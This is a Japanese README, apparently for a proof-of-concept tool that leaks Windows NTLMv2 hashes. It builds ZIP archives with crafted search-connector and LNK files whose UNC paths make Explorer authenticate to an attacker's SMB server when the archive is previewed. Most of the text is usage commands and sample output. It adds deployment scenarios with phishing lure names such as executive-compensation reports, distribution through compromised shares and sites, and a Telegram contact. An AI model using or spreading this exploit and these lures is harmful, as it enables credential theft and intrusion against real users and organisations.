
Windows ファイル エクスプローラー ゼロクリック NTLMv2-SSP ハッシュ開示
上記の画像をクリックすると脆弱性のデモが再生されます
根本的なセキュリティ問題は、特定のファイル形式内に埋め込まれた UNC パスを、プレビュー操作中に Windows Shell が自動的に処理することにあります。ユーザーが特別に細工されたファイルを含む ZIP アーカイブを開くと、Windows エクスプローラはユーザーの同意なしに UNC パスを自動解決し、SMB 認証試行を開始して、攻撃者が管理するサーバーに NTLMv2-SSP ハッシュを露出させます。
ファイル: ntlm-disclosure-poc.py
この最初の実装は、Windows の検索コネクタ (.searchConnector-ms) ファイルを悪用します。これらは Windows エクスプローラの検索場所を定義する XML ベースの構成ファイルです。この脆弱性は、ZIP アーカイブのプレビュー操作中に Windows が simpleLocation 要素内の埋め込み UNC パスを自動的に処理するときにトリガーされます。
技術的特徴:
searchConnectorDescription 要素への UNC パス埋め込みファイル: patch_bypass.ps1
この拡張手法は、Microsoft の初期パッチに対処するために LNK ファイルのプロパティを活用します。この攻撃は、ZIP ファイルのプレビュー中に Windows エクスプローラがアイコンメタデータを取得し、ターゲットパスを解決する動作を悪用し、慎重なプロパティ構成を通じてゼロクリック悪用ベクトルを維持します。
技術的特徴:
TargetPath プロパティに UNC パスを持つ LNK ファイル3.6+colorama5.1+Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser# 基本的な使い方
python ntml-disclosure-poc.py 192.168.1.100
# カスタム出力ファイルを使用
python ntml-disclosure-poc.py 192.168.1.100 -o some_data.zip
# 出力例
[+] Listener: 192.168.1.100
[*] Resource path: \\192.168.1.100\sharedir
[*] COMPLETE Package: Project_20241125_143022.zip
[*] Output: PATH\Project_20251123_175037.zip
パラメータ
target (必須): ターゲット IP アドレスまたはホスト名
-o, --output: ZIP パッケージのカスタム出力ファイル名
# 基本的な使い方 - LNK ファイルは自動削除
.\bypass.ps1 -IP 192.168.1.100
# 外部配布用に LNK ファイルを保持
.\bypass.ps1 -IP 192.168.1.100 -KeepLnk
# カスタムのおとり名と共有
.\bypass.ps1 -IP 192.168.1.100 -Share documents -File budget.xlsx -Lure FileName" -KeepLnk
# 出力ディレクトリを指定
.\bypass.ps1 -IP 192.168.1.100 -OutDir "C:\Payloads" -KeepLnk
パラメータ
-IP (必須): ターゲット SMB サーバーの IP アドレス
-Share: SMB 共有名 (デフォルト: 'share')
-File: ターゲットファイル名 (デフォルト: 'payload.exe')
-Lure: ソーシャルエンジニアリングファイル名 (デフォルト: 'Your_File_For_Payload_Here')
-OutDir: 出力ディレクトリ (デフォルト: カレントディレクトリ)
-KeepLnk: ZIP 作成後に LNK ファイルを保持
graph TD
A[🔴 CVE-2025-24054<br/>初期脆弱性] --> B[🛡️ Microsoft パッチ]
B --> C[🟠 CVE-2025-50154<br/>バイパス #1]
C --> D[🛡️ Microsoft パッチ]
D --> E[🟡 CVE-2025-59214<br/>バイパス #2]
E --> F[🔴 現在の状態<br/>アクティブな悪用]
style A fill:#ffcccc
style C fill:#ffddcc
style E fill:#ffffcc
style F fill:#ccffcc
📨 シナリオ1: 直接 ZIP 配布
# ZIP ペイロードの作成
.\bypass.ps1 -IP 192.168.1.100 -Lure "Salary_Report_Q4_2025"
# 配布ベクトル:
# - 📧 ソーシャルエンジニアリングのおとりを使ったメール添付
# - ☁️ 侵害されたファイル共有サービス
# - 🌐 企業環境でのネットワーク共有ドロップ
🔄 シナリオ2: LNK ファイル転送
# マルチホスト展開用に LNK ファイルを作成して保持
.\bypass.ps1 -IP 192.168.1.100 -Lure "Project_Documentation" -KeepLnk
# ホスト間展開:
copy-item "Project_Documentation.lnk" "\\remote-server\share\"
# 侵害されたサイトを介したウェブベース配布
🎯 シナリオ3: 標的型ソーシャルエンジニアリング
.\bypass.ps1 -IP 192.168.1.100 -Share "HR_Documents" -File "compensation_review.xlsx" -Lure "Executive_Compensation_2025" -KeepLnk
- グループ・連絡先: t.me/initial_persistence
- メール: [email protected]
| ベクトル | トリガーメカニズム | ユーザー操作 | パッチ状況 |
|---|
| 🔗 SearchConnector | XML 解析 + UNC 解決 | ZIP を開く | 🛡️ 修正済み |
| 📎 LNK TargetPath | アイコンメタデータ取得 | ZIP を開く | 🔴 活性 |